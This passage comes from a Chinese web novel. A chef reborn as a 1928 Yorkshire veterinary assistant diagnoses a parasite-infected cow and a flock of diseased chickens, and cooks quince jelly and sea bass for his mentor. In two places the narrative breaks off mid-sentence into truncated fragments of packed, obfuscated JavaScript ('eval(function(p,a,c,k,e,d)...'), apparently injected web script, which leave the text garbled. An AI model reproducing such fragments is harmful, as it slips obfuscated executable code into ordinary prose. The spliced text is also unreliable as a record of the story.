说完他还忍不住抱怨，“哎呀马上就要送到屠宰场去的东西了，还要浪费我的钱。如果不是越来越严重，我都不需要找你了，直接就联络车了。费里，不会耽误出栏的，对吧？” 他的担心不无道理。 1928年的农业养殖并不算发达，人力依旧占据很大一部分，一家上百头牛的壮观景象并没有那么普遍。 在乡村，最小的农舍可能只有那么几头牛而已。 他们全家一年里的吃穿用度几乎全部来自于这几头牲畜，所以每一头都弥足珍贵。 费迪南德家也是如此。 老兽医没急着回答，望着肌肉颤抖的牛露出沉思，“你确认什么奇怪的东西都没吃？也没有接触过？” “我确认，我向上帝保证！”费迪南德伸出三根手指，“所以是中暑吗？是中暑了吧？如果是中暑就行了，不耽误它过几天的命运。” “不，恐怕让你失望了，”老人摇摇头，示意身后的助手上前检查。而他自己则走近农夫，压低声音，“中暑可不会影响视力，费迪，你没注意到么？这头牛的瞳孔移动缓慢，说明视力在减弱。或许是中毒，铅或者什么有毒植物，我无法确定。费迪，它真的什么奇怪的东西都没接触么？” “真的没有！”费迪南德有点急，“它们走的都是和往常完全一样的道路，路上什么也没有，我十几头牛都是一起走的，其他都没事，只有这头出了问题。中毒的话严重么？费里，它可只有几天就要出栏了呀！” “不是什么大问题。”老兽医在牛舍里转了一圈，也没发现什么可疑物品，饲料正常，干草正常，牛舍里所有牛能接触到的木头上也没有含铅的油漆之类的。 至于费迪描述的那条河，老费里也知道，是从山谷中流出来的，活水，附近还有几家牧场的牲畜也喝。 他低声解释，“如果是铅中毒只要喂点益生菌盐就可以，其他有毒植物就需要洗胃吃药了。不过问题也不算大，牛的病症不算严重，治疗几天就可以正常出栏。” 听见这话，费迪南德重重松了口气，“那我们出去看看吧，看看路上是不是长了什么坏东西。抓紧治疗，我可不想耽误赚钱。” 可费里没动，他看向停住脚步，手仍旧放在牛脑袋上的年轻人，“怎么样？林格特？” 林维伦摘掉听诊器，转身平稳说道，“这是寄生虫感染，先生，这头牛恐怕已经没救了。而且我认为应该立刻排查这家牛舍其他所有牛，我担心寄生虫是否已经大量传播。” 他收回抚摸病牛的手。 在谁也看不见的半空中，一行文字瞬间消失。 那行字有点长，却非常清晰明了—— 【一头脑包虫的牛】 另一边，费迪南德的脸色“刷”一下变了。 “你这个黑心的家伙！你他妈在胡说八道什么？！” 4. 第 4 章 脑包虫，就是多条绦虫虫卵在动物的大脑或脊髓中生长发育造成的脑包虫疾病。 简单来说，就是这头牛的脑子或者脊髓已经爬满了寄生虫。 如果放到后世，或许可以通过检查和开颅手术等方式消灭寄生虫。 但这可是抗生素才刚刚发明出来的1928，x光机在整个约克夏郡都没有几台，他们对这种寄生虫几乎毫无办法。 最重要的是，人类才是绦虫的最终宿主。林维伦干了那么多年的总厨，对这种事非常敏感。 不过有人提出了反对意见，暴跳如雷的那种。 “你在说什么屁话！你的妈妈没有教给你不应该对不擅长的东西发表言论吗？！闭上你愚蠢的嘴巴！”费迪南德大力拍着木柱，脸色涨红，眼睛里几乎喷出火焰。 他想起什么，猛然转向旁边，恶狠狠瞪着头发花白的老人，“费里，这就是你新聘用的助手？穿的人模狗样，说话臭怎么的和街边的乞丐样令人恶心？整个巴娄山谁不知道我家的牛最最好了？他在这里诋毁个屁，能不能拜托让他离我的牛远一点？！” 老费里抬手安抚地拍了拍农夫的手臂，拍散了接下来所有咒骂。接着，老人转身，的目光在助手和牛身上来回打转，“林格特，你有什么依据么？” 林维伦慢条斯理拔掉牛屁股中插着的体温计，“瞳孔涣散，肌肉震颤，精神紊乱，口吐白沫，体温升高，这些都是脑包虫的症状，先生。” “可这些也全都是食物中毒的状态。”费里摇摇头，“费迪南德的牧场修的很坚固，已经很多年没有狼或者狐狸光顾了，感染绦虫的概率实在太低了。” 绦虫幼虫通常寄生在狼、狐狸之类的肉食动物身体里，然后通过粪便排出，虫卵便会污染掉附近的草。 牛吃掉这种草，自然就会被寄生。 “听见了吗浑小子！”获得支持的农夫得意洋洋挥动拳头，“啪啪”拍着木制栅栏，警告道，“赶紧离我的牛远一点，别想在我这里卖弄你那一点也不专业的知识！你只会弄脏它漂亮的皮毛！你妈妈真该为你感到耻辱！” 一个刚从温暖大学毕业的年轻人，一个单纯愚蠢毫无社会经验的年轻人。费迪南德理所应当地认为，被当众质疑、威胁、嘲讽会立刻让这个脆弱的家伙无地自容。 会结结巴巴道歉然后滚蛋吧，农夫邪恶地想，说不定还会流着泪跑出去，再也不回来。 然而，眼前的助手却连眼神都没波动一下，只是像包容犯错了的孩子似的叹了口气，“您说过，对待生命要严谨。那么，您真的有好好检查这头牛吗？” 费里和农夫齐齐一愣。 费迪南德咬牙切齿，开始挑拨离间，“费里，这就是你找的助手？真的不是你给自己聘用的新老板么？你居然容忍他这样反驳你？” 费里还没来得及说些什么，就看见那位大言不惭的年轻人抬起手，一寸一寸摸着牛的头顶。 这是一头西门塔尔牛，骨骼粗壮，毛色是黄白相间。但被养的太脏了，身上臭气熏天不说，毛上还挂着不少泥和草秸秆。 但林维伦面不改色，做学徒那段时间，更脏的他都接触过。 他长长的手指灵活摸过牛尖硬的头骨，不放过每一块凸起，直至—— “找到了，”他扭头望向老人，“先生，食物中毒可不会让牛的头骨塌陷。如果您现在把这里切开，或许就能和绦虫面对面交谈了。那些虫子没准儿会用手上密密麻麻的虫卵，来从这位手中买下这头牛。” “再说或许不是狼或狐狸，也可能….是狗呢？” 费迪南德的笑容僵在脸上，他急促摆手，“我家的确养了条狗，但几个月前狗就跑进山林里，在没有回来过了。所以你说的根本不可能！” 老费里并没有回答这句话，他已经几步走上前。 刚刚他的确也注意到了牛头骨处有一块凹陷，可费迪南德最初就说过牛经常会自己撞柱子，再加上凹陷不太明显，所以老人先入为主地认为那是牛自己撞的。 万一…..不是这样呢？ 干了几十年兽医，严谨几乎刻在老人的的每一个细胞中。 他带上单片眼镜，仔仔细细观察着。 一瞬间，费迪南德的脖子仿佛被勒住了，眼底的愤怒迅速被另一种情绪所取代。 果然，当老兽医再抬头时，眼神变的锋利，“费迪，我想林格特可能说的是真的。这块凹陷不是撞出来的，血迹是沾上的，木屑也并没有扎进皮肤里，这是从大脑内部塌掉的。” 更多的话老费里没有说明，比如血迹更像是被涂抹上去的，木屑混合着污泥的位置也非常刻意。 ——就像有人希望他真的能把这一块当成撞痕似的。 脖子上缠的某种东西更紧了，费迪南德感觉自己的后背正在出汗。 中毒的牛没什么大事，只要吃几天药就可以痊愈，牛的出栏不会受到任何影响——这头牛是他最看好的肉牛之一，至少重达1800磅（约816斤）以上！ 如果好好的被送进屠宰场，扣除掉运输费+屠宰费用，他至少能拿到每磅1先令6便士的价格，那就是135英镑！ 但如果被确诊感染寄生虫，那135磅会直接变成0！ 0！！ 哦可能该死的政府会给予一点补偿，但最近两年农业并不受重视，再加上来自美国和加拿大的进口牛肉价格低廉，市场很快被他们占领。 政府愿意给予本地农户的补偿自然也越来越低，申请过程还非常麻烦。 那他养了这头牛这么多年花费的所有精力与金钱，就等于全部赔光！ “别这样严肃，费里，”魁梧的农夫摊开双手，声音里带了点祈求。 “这根本不是什么大毛病，寄生虫感染？怎么可能？它只是有些缺钙，或者缺点别的，给我开点药不就行了？那些美国进口的牛肉可没这么严格的检查。你不知道吗？那些牛蹄子上满是真菌都能被送上肉摊，拜托，没人会因此吃出问题的。” 家里两个小伙子的鞋都已经开胶了，十五六岁的人了，还没有一双能穿出门的皮鞋。厨房的灯泡坏了三个多月，妻子一直在念叨。昨天才因为夜里光线不好，烫坏了她的手。 那么大一个水泡，舍不得涂药，只能一点一点挑破，随便涂点松节油，然后用布条包扎上。 而他们的牧场租金，十天以后就要交了。 可老人锋利的目光丝毫不退让，他紧紧盯着农夫，“绦虫会寄生人类的，费迪，这是大事，我们必须通知农业部，彻底排查你整个牛舍，包括那些产奶的母牛。” “费迪，”老人深吸一口气，“抱歉，但你这里只能暂时关闭。” “放你的屁费里！”费迪南德感觉声音在抖，他的耳朵里发出海啸般的耳鸣，他只能用暴跳如雷来掩盖那股不安。 “你知道的，因为进口低价肉的冲击，愿意收购牧场牛肉的屠宰场本来就越来越少，我们的日子…..你都看见了不是么？！我的牛不可能感染的，我每天都要在它们身边呆上十几个小时，我绝对绝对不可能让它们感染上的！” “倒是你！你老眼昏花了么？！居然听信一个毛都没长齐的小垃圾？！这难道是你的私生子？！这他妈是不是你的私生子所以你才这么听他的！” 然而他话还没说完，就看见那个年轻人魔鬼似的朝自己笑了起来，“先生，如果您不相信，我们完全可以检查一下牛粪，被寄生的牛牛粪中会含有虫卵节片。当然，为了以防万一，您牛舍里所有牛都必须检验。先生——” 年轻的助手转身，“您介意和我分头行动吗？这样我们的速度能更快一点。” 这个时代的化学正在高速发展，各大地区早就建设出了私人实验室。专门承接各种私人化验和病原分析，包括动物。 就连费里医生的诊所里，都有一台显微镜。 牛粪中是否含有虫卵节片，只需要送到最近的实验室就可以了。 老费里完全不介意，自然而然提起工具箱，“那我去河边取另外的牛粪样本。等会让费迪南德和你一道。”最后一句话中带着浓浓的警告。 对谁，不言而喻。 然而他再次望向年轻人的眼神中却流露出浓浓的赞许和欣赏。 这孩子，比他想象中的还要令人惊喜。 细心，缜密，严谨，大胆，知识扎实。 更难得的是，他不会因为软弱的善良而做出错误的选择。 一切优秀兽医的特质他几乎全有，比起他，自己这个头发都白了的，或许早就应该躺回摇椅上了。 老兽医离开了，昏暗的牛舍中只剩下两个人。 “真可惜。”林维伦将空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“别在这里假惺惺了费里！”费迪南德整张脸都涨成了猪肝色，喘着粗气，“你就是故意的！你就是想从我们这些可怜人身上捞钱！” 费里被他无耻的话震惊了，“那可是寄生虫，费迪！寄生虫！如果有人喝了你家母牛的奶，很有可能也会被寄生的！你想害死谁么？！” “放屁！谁说我家牛有寄生虫！德纳姆镇又不止你一个兽医！我会联络安德烈兽医——”费迪南德话还没说完，一眼看见老人身后的年轻人正好整以暇站着，姿态悠闲，嘲讽的目光越过老人肩膀，直直落到自己身上。 就像在说：“废物。” 那一瞬，费迪南德仿佛被谁抽了一锤子，端着草叉吱哇乱叫地冲了过来！ 大动静还引来了农夫的两个儿子，他们继承了父亲的暴脾气，事情还没有弄清楚前，就加入了驱逐大军。 一个放出了家里的大鹅，另一个则不停朝他们扔牛粪。 林维伦身高腿长，轻而易举就把人甩开了。 而躲闪不及被砸到的老年选手：……. 等两人跑回车上时，老人已经累的手都在抖了。 “我们应该报警，”林维伦面不改色打开车窗，“他一定会因此关进监狱。”或许在里面，那个暴躁的农夫就会学会尊重以及怎样才能好好说话了。 那张嘴，太贱。 自身的困境不是随意向他人散发恶意的理由。 林维伦并非彬彬有礼的大不列颠人，他壳子里装着的灵魂，来自睚眦必报的21世纪，最记仇的年纪。 费迪南德对他口出狂言的时候，就应该做好准备了。 “不，不，”老费里狠狠闭了闭眼睛，直接把沾到牛粪的西装外套脱了下来砸到后座，“我们去农业部，必须将这事儿上报。费迪南德家的牛奶很受欢迎，有不少固定顾客，如果真出了什么事，就完蛋了。” 林维伦看了他一眼，“您真是个善良的人，但先生，我们没有证据，如果他藏起那头牛，或是私自杀掉不承认怎么办？我无法确认他家其他牛有没有被感染。” “私自宰杀患传染性疾病的牛是重罪，”费里发动汽车，风瞬间驱散掉车内的味道，“如果他真的那么干了，他家的饲养资格就将被永久没收，牧场也会被强制回收给土地的主人。况且——” 老人扭头，笃定似的咧开嘴，“农业部只会相信我，而不是他。如果我想，我甚至可以将整个巴娄山的所有牧场全部封闭。” “林格特，这就是一个兽医的声望。我很少使用这种声望，以至于他们都忘了我究竟能干出什么事来。” 福特车奔腾驶过，吹进来的风变成了肆虐的声音。 林维伦一只胳膊搭在车窗上，手指轻轻敲击着坚硬车身。 “声望啊…..” 5. 第 5 章 果然，一切就像费里先生说的那样。 农业部毫不犹豫相信了他的话，立刻派人带着文件前往费迪南德的牧场。 那里将被暂时关闭一个月，直至农业部彻底搞清楚究竟有多少牲畜被感染了绦虫并全部清除为止。 而假如由费里送检，则只需要两三天就足够了。 可怜的费迪南德，他原本不需要牺牲整整一个月的时间。毕竟对于农夫来说，牧场关闭，每天都是在赔钱。 不过人总要为自己的行为买单，不是吗？ 就是可惜了那些西门塔尔牛，被如此愚蠢的主人饲养。明明是肉质上乘的牛，可以更大限度发挥它们的作用的。 午夜梦回时，林维伦忍不住在脑海中勾勒出西门塔尔牛的骨骼。 如果他也有一头健康的西门塔尔牛，那么他会先从脖子处下刀，放血，剥离出完整的喉管，那是最为劲脆弹牙的部分。之后是软嫩的里脊，肥润的胸口、滑顺的骨髓…… 好馋啊。 兽医的声望只能封闭牧场，不知道能不能被允许咬一口“顾客”？ 再次得到费迪南德的消息，已经是几天后了。 彼时林维伦刚刚独自为一匹腿出问题的马解决问题，费里先生在一旁观看。 这匹马问题不算大，文字给出了【蹄子化脓】的说明，林维伦只需要依照记忆用蹄刀将马掌割开，把脓液抽出来就行。 手法和刮骨注射腌料差不多，最后倒上碘，来一针消炎针。 就是大马1400磅的身体靠在身上时，差点没给林维伦肋骨压断。 ….必须得把运动提上日程了，他想。 “干的不错。”结束时，费里赞赏地拍了拍他的肩膀，于是养马人也在一旁眉开眼笑。 和费迪南德不同，这一家都是热情的北爱尔兰人。 尤其是女主人，实在太喜欢这位长相英俊的小伙子了。 “如果我的女儿在这里，你们一定可以聊的很愉悦的！可惜她正在菲利普伯爵那里帮忙，实在没时间回来。菲利普伯爵你知道吧？德纳姆镇最富有的人，他拥有这里近乎一半的土地呢！我们都是他的租户。” 女人笑吟吟放下一盘奶酪土豆泥，上面撒着一层胡椒和盐，下方是和奶酪一起拌匀的新鲜土豆。 味道闻起来又香又甜，薄薄的雾气缭绕着飘过莴苣沙拉。 调料就是简单的油醋汁，重点在于菜。这些全是自家种的菜，莴苣、羽衣甘蓝、黄瓜、切开的小番茄，生机盎然又清脆爽口。 简单两口，就能洗去一身疲惫。 主食也很简单，一个煎蛋，两片腌培根，面包一夹就是一个三明治。 慷慨的女主人还拎了一个装羊奶的小锅，就放在厨房的小炉子上温着，随喝随取。 趁着老费里和主人们聊的欢乐时，林维伦悄悄试验了一下，发现文字说明并不适用于被做熟的肉或蛋，同样也不适用于人类。 于是他安心吃饭，圆桌上的话题不知怎的就转到了前两天那场热闹上。 “听说费迪找了安德烈兽医，在牧场门口和农业部的人据理力争。”男主人说，“当时闹出了很大的动静，农业部的人不知道为什么非常愤怒，对安德烈毫无尊重，破口大骂。” 那是当然，因为先入为主费里也玩的很溜，林维伦垂下眼睛想，农业部的人去了只会以为安德烈是替费迪南德遮掩的，能不激动么？ 假如德纳姆镇因为绦虫而出了人命，农业部从上到下都会担大责任。 女主人八卦地压低声音，“安德烈并没有和农业部谈判的资格，也不是个有魄力的人，他灰溜溜地逃走了。农业部直接强制关掉了费迪南德的牧场，那一家子发了好大的疯。” “我早就说过，”男主人高深莫测地“哼”了一声，“费迪南德那个脾气，迟早会吃大亏的，就是不知道为什么农业部要去找他的麻烦。” 老费里是个很有职业操守的人，他没有在外说出费迪南德家牛的问题。 直至两人回到车上，兽医先生才和助手说明更多情况。 “今天早上的时候，费迪南德家所有牛的送检结果已经出来了。” 林维伦立刻抬眼。 “一共二十八头牛，有三头患上了脑包虫病，两母一公。”老费里启动汽车，看着身旁的年轻人，“其中最严重的一头，就是我们那天经手的那头，牛粪里已经密密麻麻全是虫卵了。农业部派了专业人士，已经开始对那座牧场做灭活和杀虫处理了。” “传染源呢？”林维伦问。 “现在还没有确定，不过大概率是因为他家自养的狗。”费里说，“巴娄山离利得谷不远，山谷中的森林是打猎的好去处。不少农户都喜欢带着狗进入狩猎，野生动物的皮毛和肉都是值钱的玩意儿——费迪南德不止一件事和我们撒谎了。” 活该啊。 林维伦仰靠在座椅上，嘴角不易察觉地弯了弯。 那家伙以后恐怕得上农业部的重点关注名单了。 “你救了不少人，林格特。”费里似乎很高兴，“农业部对你表达了赞赏，他们记住了你的名字，并为你颁发了奖励。” 布满褶皱的手从马甲口袋里掏出一本薄薄的小册子，递给了身边人。 “什么？”林维伦疑惑打开，蓦然一愣。 这居然是一本初级兽医资格证！ 这倒是让他感到惊讶了，老费里居然把这个功劳直接给他了？ 和农业部打好关系的好处有很多，最直接的就是他的初级兽医资格证，包括将来要是想拿到执业兽医资格证，都需要农业部签字的。 在英格兰，刚毕业的实习生是不能独立行医的。必须由拥有执业兽医资格证的老兽医写推荐信交由农业部，农业部审查过后才可以颁发初级兽医资格证。 有了初级证，才可以独立行医。 同样的，一旦初级兽医在行医过程中犯了大错，给他写推荐信的老兽医也是需要负责任的。 而执业兽医则是更高一级别，必须通过兽医学院的认证考试，农业部签字确认后才能获得。 有了执业证的兽医，才被允许独自开设兽医诊所，带刚毕业的实习生。 再往上还有更高级别，不过就不是现在的林维伦所在意的了。 老费里不仅将这件事的功劳全让给了他，还大力推荐了他，否则刚毕业的实习生不干满几个月或一年的活儿，根本拿不到这个。 他才用了几天？ 看来这两天频繁让他自己上手也是因为这个。 “谢谢您，先生。”林维伦真诚地说。 “这是因为你本身的优秀，”费里毫不在意地摆摆手，“你是天生的兽医，林格特，我从未见过像你一样天赋这样高的孩子。所以我也只是做了我该做的事而已。” 跟一个好领导果然不一样。 不过感谢不能光靠嘴巴说，林维伦决定付出实际行动。 就用他最拿手的。 傍晚，林维伦再次来到集市。考虑到老年人不太好的牙口和自己干瘪的钱包，他只买了4磅榅桲，一小把芫荽，一条刚咽气的鲈鱼，和几颗鲜红的的小辣椒，再来一小罐牛奶，一袋吉利丁片。 路过卖酒小店时，他和老板磨了半天，才买下一小瓶试喝装的干白葡萄酒。 付钱时，老板用俚语低声骂了句什么，林维伦猜测大概是“穷鬼”一类的，他全当没听懂，付完帐立刻遁走。 回到家，洗干净手，林维伦把衬衫袖子挽起，立刻开始处理榅桲和鱼。 他先把榅桲洗净去皮，一分为四，平铺在盘底，之后倒进一点干白。 不能太多，刚刚好没过就可以，这样泡上一夜，榅桲猩红色的果肉就会变的更加紧实饱满。 鲈鱼也是同理。 林维伦在剩下的干白里放入胡葱、小洋葱、小红辣椒和姜片，用大火炖煮。 所有食材的芳香物质混合充分融化进葡萄酒里，让其散发出无与伦比的浓香。 其实最美味的底味应该由绍兴料酒担任，那是林维伦永 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我的上帝啊，”太太夸张地捂住胸口，“这些都是你做的？这是什么…？哦我的天，榅桲果冻和鲈鱼！早上那股香味居然是你家散发出来的！” 费里眼睛瞪得大大的，显然没想到会有这样的惊喜出现。 “你居然会烹饪？”他难以置信，目光完全被色泽鲜艳的果冻和鱼牢牢攥紧了。 并不是他想指责阿尔玛什么，可当林格特带来的菜摆在和大地一个模样的熏肉旁时，熏肉就迅速失去了所有吸引力。 林维伦微笑着，“只会一点点，这是为了感谢您对所烹调的。希望您能喜欢。” “我们之间不需要这样客气。”老人虽然嘴上这样说着，手却立刻用干净勺子舀下一大块鱼肉，连带着酱汁一起放到餐盘里，然后用小叉子叉起一块迅速放入嘴中， 被白葡萄酒腌制一夜的鱼肉已经到了最为滑嫩的程度，费里只觉得有什么东西在舌尖融化开来，他几乎不需要嚼，只是轻轻一抿，鱼肉就像破开的奶油，顺着喉咙滑进胃里，带着回味悠长的酒香，又伴随无比清甜的果香。 某一刻，费里感觉自己仿佛掉进酒缸的老鼠，又如同扎进果园的飞鸟。他从上到下都被这一口酱汁鱼肉泡的暖洋洋的，连眼睛都忍不住眯起来。 余光瞄见一旁的榅桲果冻，他又变得迫不及待了。 榅桲和牛奶混合之后的颜色是一种漂亮的金红，最上面浇了一点蜂蜜做点缀。 那是阿尔玛的石楠花蜂蜜，和滑溜溜的果冻一起入口，甜而不腻，口感是从未感受过的绵密顺滑。 比起果冻，更像被榅桲泡的清凉泉水，瞬间驱散了夏日即将蔓延起的燥热。 更令人惊叹的是，果冻和鱼肉的味道几乎是相得益彰的。 一开始，费里和阿尔玛还吃的克制而有礼。但当察觉到菜越来越少，两人默契撕掉了文明人的伪装，变得狼吞虎咽。 他们用面包片沾着鲈鱼酱汁吃了个精光，又恨不得把果冻盘底的一丁点渣渣都舀进盘子。 “这绝对是我吃过最好的！”阿尔玛抽空说道，“比狐狸酒馆，比那些傲慢的法国厨师做的还要好吃一百倍！” “我收回‘你最适合做兽医’这句话，”费里意犹未尽，脸上的褶皱似乎都因为这顿美味被抚平了，“这绝对是我收到过最完美的礼物！没有之一！” 6. 第 6 章 林维伦很快发现，虽然费里先生表面上已经认可他的能力，给予他了初级兽医的资格。 然而对他首次独立出诊，这位老兽医依然谨慎得要命。 这几天林维伦一直在诊所里呆着，按照老兽医的指示给兔子治疗断耳，给母鸡看脚，给公狗结扎，还给一只花枝鼠解决了胃胀气。 他的记忆和身体在每一次治疗中都在不停磨合，现在他已经完全能将记忆中的知识与操作付诸于实践了。 手底下的动作也愈发熟练，他几乎不需要用思考和回忆来拖延时间，身后站着的费里也越来越满意。 这天晚上，老费里忽然把要下班的助手叫住。 “别急，拿上这个，先和我出去一趟。” 林维伦眨了眨眼，这不是外诊用的工具箱。 好在他们的目的地不太远，就在街对面。黄昏的余晖泼洒在更加繁华的街道上，在每个人身上都镀了一层淡金色的膜，包括那块写着“狐狸与猎犬”的牌子。 “进来，”老人侧身躲过端着盘子的服务生，“这是德纳姆镇最好的酒馆。” 原来是聚餐，果然得跟着好老板。 林维伦立刻提步跟了上去。 整个酒馆里都被松香和酒的味道填满，一个超大的壁炉竖立在大堂中央，不过七月的傍晚，里面并没有点燃木柴。 周围总有人友善的向费里问好，还有人会停下来聊一会儿他们的动物。 屋角有几桌在打骨牌，身着衬衫马甲的男人不时发出欢快的轻笑声。 吧台处，风情万种的女招待正在和客人调情，男人的手不经意扶过女招待纤细的腕骨，随后才端起那杯满满登登的波特啤酒。 暧昧的刺激被掩盖在漂亮的酒花之下，从后厨出来的女服务员翻了个白眼，将手中的铁盘换了个方向，和林维伦擦肩而过。 那是一盘色泽鲜艳的鸡肉，香草和黄油是主要调味料，大量洋葱做底，似乎还加了肉豆蔻和苹果，用铁盘慢煎着。 一路走来，大部分圆桌上都摆着一模一样的铁盘，原来都是这道菜。 林维伦吸吸鼻子，闻起来倒是还可以，就是不知道味道如何。 注意到他的视线落在盘子上而不是裙子上，老费里有些讶然地看了他一眼，随后怜爱地拍拍他的肩膀，“饿了吧？等我们结束就可以在这里享受一顿了，这里最出名的就是芳香刚刚那盘香草煎鸡和甜燕麦饼了，真的很不….呃….错。” 原本老费里是这样以为的，德纳姆镇的人都是这样认为的。可越说他越没底气——自从尝过林格特的手艺之后，说实在的，他已经觉得香菜煎鸡已经不怎么样了，至少他根本不会馋。 可狐狸酒馆真的很棒，毕竟已经光顾这里很多年，他还是忍不住说了下去，“连菲利普伯爵都会每个月请这里的厨师上一次门，专门为他烹饪英国菜。” 菲利普伯爵，这是林维伦第二次听见这个名字。 第一次是在那家热情养马人的家里，来自北爱尔兰的女主人说，菲利普伯爵是镇子里最富有的人，这里有一半土地都是他的，包括德纳姆的牧场与农田。 看来，这位乡村贵族富翁已经成为了镇上的计量单位。一家店做的好不好，看菲利普伯爵买不买单就可以了。 专门将厨师请上门，那这里的厨子一定很棒。 只是让林维伦意外的是，他们居然不是来消费的，而是来工作的。 胖胖的厨师低调接待了他们，看见陌生面孔有一瞬间惊讶，“你总算来了，费里先生！啊还有这位…..” “诊所新来的初级兽医，维伦·林格特。”老费里介绍着，“是个很不错的人。” 林维伦礼貌微笑。 “哎呀真是个英俊的小伙子！”胖厨师摸摸肚子，“那我们先去后院看看吧？我都急坏了，现在你们都来了，我就放心啦！” 几人穿过杂乱的厨房，冒着热气的锅子发出“砰砰”的响声，像一场欢迎会。 但被欢迎的人很快走了出去，来到后面一间外仓库前。 这里拴着一条狗，看见有人来，狗子热情地扑上去。 【一只小脑发育不良的狗】 林维伦的眼角不易察觉抽了一下，小脑发育不良….就是傻呗？ 让一条傻狗看门，还真的是….. 胖厨师没注意到年轻人的表情，他小偷似的四下看了看，确认周围没人后才打开门锁，请两人走进去。 到处都是鸡毛。 铺天盖的的鸡毛胡乱飞舞着，母鸡们因为突然的闯入者发出声音不大的惊叫，没过几秒就安静下来。 费里环顾一圈，“所以这些鸡怎么了？你觉得它们不对劲？” “是的是的，”胖厨师似乎有些紧张，光亮的额头渗出细细密密的汗，“这些鸡是今早刚运过来的，我是说，我们之前可从未发现过什么不对劲。但是....但是早上宰杀的时候，的确有些状况。” 说到这，胖厨师顿了一下，从鸡舍后方的角落里拿出一个被血染红的麻袋，里面装着的都是被拔光毛还开膛破肚过的死鸡。 胖厨师将这些死鸡一个个摆在地上，活像某种令人胆寒的凶杀现场。 “你能看见吧？”他扶了扶厨师帽，指着其中一只鸡的鸡翅膀说，“这里明显肿起来了，原本我以为只是断翅，你知道的骨折或者撞伤之类的，不过这几只的内脏却都大出血了。” 老费里眉头皱起，“内脏破裂了？” “是的，”胖厨师站起身，“经常杀鸡的都知道，一两只鸡出现这样的问题到还算正常，可今天我们宰掉的11只鸡，几乎都有一样的问题。” 林维伦眉尾微挑，这个症状，让他想起了什么。 看着已经蹲下开始检查的老板，他望向厨师，“方便问一下，您的鸡都是从哪里购买的吗？” “东边的斯图尔特家，”胖厨师说，“他家有德纳姆镇最大的养鸡场，不仅我们酒馆，连集市上不少小商贩也都从他那里拿货。” 这和当初费里先生说的一样。 林维伦心中有了猜想，蹲下身，摸了摸地上的死鸡。 瞬间，一行幽绿的文字浮现在半空——【一只痛风的死鸡】 果然。 他移动手指，又摸了一下隔壁的受害鸡。 【一只综合脂肪肝的死鸡】 “这些鸡运来时有没有其他不对劲的地方？”费里擦着手问。 “都有点蔫？”胖厨师想了想，“不过这很正常，现在可是七月，我的头发都热得化掉了，何况是这些毛厚厚的小家伙。斯图尔特再三和我保证过，他家的鸡绝对没有任何问题。话说，不是你给斯图尔特家的鸡开证明吗？” 老兽医摇了摇头。“从今年3月开始，斯图尔特就不再找我了，他找的是安德烈。” 明明是炎热的夏季黄昏，胖厨师却感觉外面吹进来一阵冷风，吹的他背上起了一层鸡皮疙瘩。 “安、安德烈？哈，啊，安德烈也是…也是个不错的家伙，他应该不会看走眼的，对吧？哈、哈哈哈哈哈！” 他干巴巴笑了一会，对上老费里锐利的眼睛，顿时笑不下去了。 “不会的吧？”胖厨师紧张地揉了揉鼻子，“安德烈也是老兽医，费里，你不应该质疑同行的水…..” 老费里突然打断他，“你发现问题鸡多久了？” “今、今天啊….” “伦丁·克伦威尔！”费里先生猛地拔高声音。 胖厨师被吓的一哆嗦，他当然清楚自己这位邻居可是个眼里揉不得沙子的人，严肃又固执，不像个兽医，倒像个老学究。 胖厨师一下子泄气了，耷拉着脑袋，“五天前，上个星期日…..你知道的，我不需要亲自动手杀鸡，都是我那个学徒去做。但是上个星期日，他突然找到我，说鸡肉好像不太对劲。” 林维伦站了起来，一边听厨师的话，一边垂眼给自己擦手。 淡淡的鸡腥味儿和血的味道挥之不去。 他又转身去摸那些鸡窝里的活鸡。 “我一开始并没有觉得哪里不对劲，”胖厨师沙哑着说道，“你也知道的，鸡经常撞到哪里造成内脏出血，可我偶然发现，绝大一部分的鸡都是这样，所以我才、我才……” 让厨师感到意外的是，老兽医居然先回头看了一眼那个默默无闻的年轻人，并打了个眼色。 林维伦接收到老兽医的目光，点点头，低声开口，“我认为您还是换一只产地的□□，内脏破裂出血，是因为脂肪肝综合症。鸡翅关节肿大，是因为得了痛风。这些鸡全都是有问题的鸡——” 他灰蓝色的眼睛像铡刀，在鸡舍里宣判了死刑。 “——每一只，包括活着的那些。” 老费里：“…….” 厨师：“！！！” 带着厨师帽的圆脑袋惊悚看着年轻人，随后又转向老兽医，“费、费里先生！他、他说的是真的么？！” 费 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老费里的眼神忍不住钉在年轻人脸上，那么多血几乎把内腔全填满了，连他一个二十多年的老兽医都无法看清，林格特才刚刚毕业….. 这孩子的直觉，也太过恐怖了吧？ 不，这真的还能算是直觉么？ 此时他忍不住回忆起林格特到诊所这段时间，诊断从未出过一次错，连模糊性诊断都不曾有。只要年轻人开口，就绝对是最直接的病因。 现在老费里也感受到夏季莫名其妙窜上后背的冷风了。 只是他面儿上完全不动声色，低头擦干净手后，平静的对胖厨师说，“伦丁，你拿着这些鸡去找斯图尔特吧，他必须对你负责任。不过你最好再跑一趟集市，如果有顾客发现鸡有问题，就不说你一个人能摆得平的了。” 这不是他的顾客，也不像绦虫寄生一样要命，他无法贸然插手。 “可我、我现在怎么办？”胖厨师摘掉帽子，不停揉搓着脸，“我今晚、今晚就得去伯爵家….伯爵点名要吃香草煎鸡！哦该死的！” 他重重踢了一脚鸡舍的木柱，脸色越来越白，“如果斯图尔特家的鸡有问题，那么整个集市都找不出几只健康鸡来！我该怎么办？我该怎么办！” “您或许可以换一道主菜？”林维伦问。 “不、不行！”伦丁焦虑地走来走去，“前几次烹饪都让伯爵不太满意，如果这次还不行….他就会换掉我了！他会去寻找其他英餐厨师的！那我就完蛋了！” 原来是这样，林维伦收回手，厨师要带着新鲜宰杀的鸡去庄园，毕竟鸡死掉的时间越长，越影响口感。 因为担心嘴巴刁钻的伯爵吃出问题，所以厨师才一只只地现杀，力求能找到一只正常鸡。 但每一只都有问题，胖厨师害怕了，才紧急联系了离这最近的费里兽医。 不过结果真是让人绝望。 林维伦理解伦丁的焦虑，对于德纳姆镇来说，那位菲利普伯爵就是个风向标，本地餐饮精选榜，大众优选指南。 如果他被开除换掉，那么恐怕镇子里人都会认为他水准不行。 到那时，生意不仅会受到影响，恐怕酒馆都不一定能留下他。 